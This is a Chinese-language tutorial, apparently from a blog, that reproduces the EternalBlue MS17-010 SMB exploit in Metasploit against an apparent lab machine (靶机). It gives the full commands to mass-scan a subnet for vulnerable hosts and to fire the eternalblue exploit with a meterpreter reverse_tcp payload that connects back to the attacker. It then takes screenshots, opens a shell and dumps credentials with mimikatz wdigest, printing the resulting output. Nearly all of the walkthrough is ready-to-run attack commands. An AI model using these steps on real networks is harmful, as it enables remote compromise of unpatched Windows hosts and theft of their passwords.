永恒之蓝 MS17-010漏洞复现
漏洞原理
简介
永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。
注:SMB服务的作用:该服务在Windows与UNIX系列OS之间搭起一座桥梁,让两者的资源可互通有无,SMB服务详解:点击查看
漏洞原理代码详解
下面两篇文章从实际代码详细分析了漏洞原理,想要从代码详细理解该漏洞的同学可以点击查看
http://blogs.360.cn/post/nsa-eternalblue-smb.html#toc-772
https://blog.csdn.net/qq_27446553/article/details/73480807
漏洞复现
MSF中有一个叫ms17_010的模块
msf5 > search ms17-010 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution 1 auxiliary/scanner/smb/smb_ms17_010 normal Yes MS17-010 SMB RCE Detection 2 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 3 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+ 4 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
使用插件测试目标是否存在这个漏洞
批量扫描是否有存在此漏洞的主机
auxiliary/scanner/smb/smb_ms17_010
root@kali:/# msfconsole msf5 > use auxiliary/scanner/smb/smb_ms17_010 msf5 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.0/24 //扫描此ip段 msf5 auxiliary(scanner/smb/smb_ms17_010) > set THREADS 512 //设置线程 msf5 auxiliary(scanner/smb/smb_ms17_010) > run
哈哈发现目标:192.168.10.165
[+] 192.168.10.165:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
开始攻击
msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.10.165 msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.10.159 msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
Nice!!!得手
使用screenshot截屏看看(会存在/根目录下)
嘿嘿一览无余
使用shell进入目标主机的cmd
使用msf中的mimikatz,来爆出靶机的用户名和密码
meterpreter > load mimikatz
使用wdigest <读取内存中存放的账号密码明文信息>
meterpreter > wdigest [+] Running as SYSTEM [*] Retrieving wdigest credentials wdigest credentials =================== AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;89141 NTLM T-PC T 0;89101 NTLM T-PC T 0;997 Negotiate NT AUTHORITY LOCAL SERVICE 0;996 Negotiate WORKGROUP T-PC$ 0;49325 NTLM 0;999 NTLM WORKGROUP T-PC$
真正的一览无余